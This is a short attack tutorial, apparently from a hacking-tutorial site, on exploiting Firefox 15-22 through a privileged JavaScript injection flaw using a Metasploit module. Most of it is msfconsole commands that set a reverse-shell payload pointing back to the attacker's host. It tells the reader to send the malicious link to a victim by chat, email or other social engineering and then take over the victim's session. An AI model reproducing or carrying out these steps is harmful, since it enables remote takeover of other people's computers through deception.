Exploit Remote Windows, Linux, MAC PC using Firefox to String console.time Privileged JavaScript Injection

This exploit gains remote code execution on Firefox 15-22 by abusing two separate Javascript-related vulnerabilities to ultimately inject malicious Javascript code into a context running with chrome:// privileges.

Exploit Targets

Firefox Version 15-22

Windows 7

Linux

Solaris

OSX

Requirement

Attacker: kali Linux

Victim PC: Windows 7

Open Kali terminal type msfconsole

Now type use exploit/multi/browser/firefox_tostring_console_injection

msf exploit (firefox_tostring_console_injection)>set payload firefox/shell_reverse_tcp

msf exploit (firefox_tostring_console_injection)>set lhost 192.168.0.104 (IP of Local Host)

msf exploit (firefox_tostring_console_injection)>set srvhost 192.168.0.104

msf exploit (firefox_tostring_console_injection)>set uripath /

msf exploit (firefox_tostring_console_injection)>exploit

Now an URL you should give to your victim http://192.168.0.104:8080

Send the link of the server to the victim via chat or email or any social engineering technique

Now you have access to the victims PC. Use “sessions -l” and the Session number to connect to the session. And Now Type “sessions -i ID

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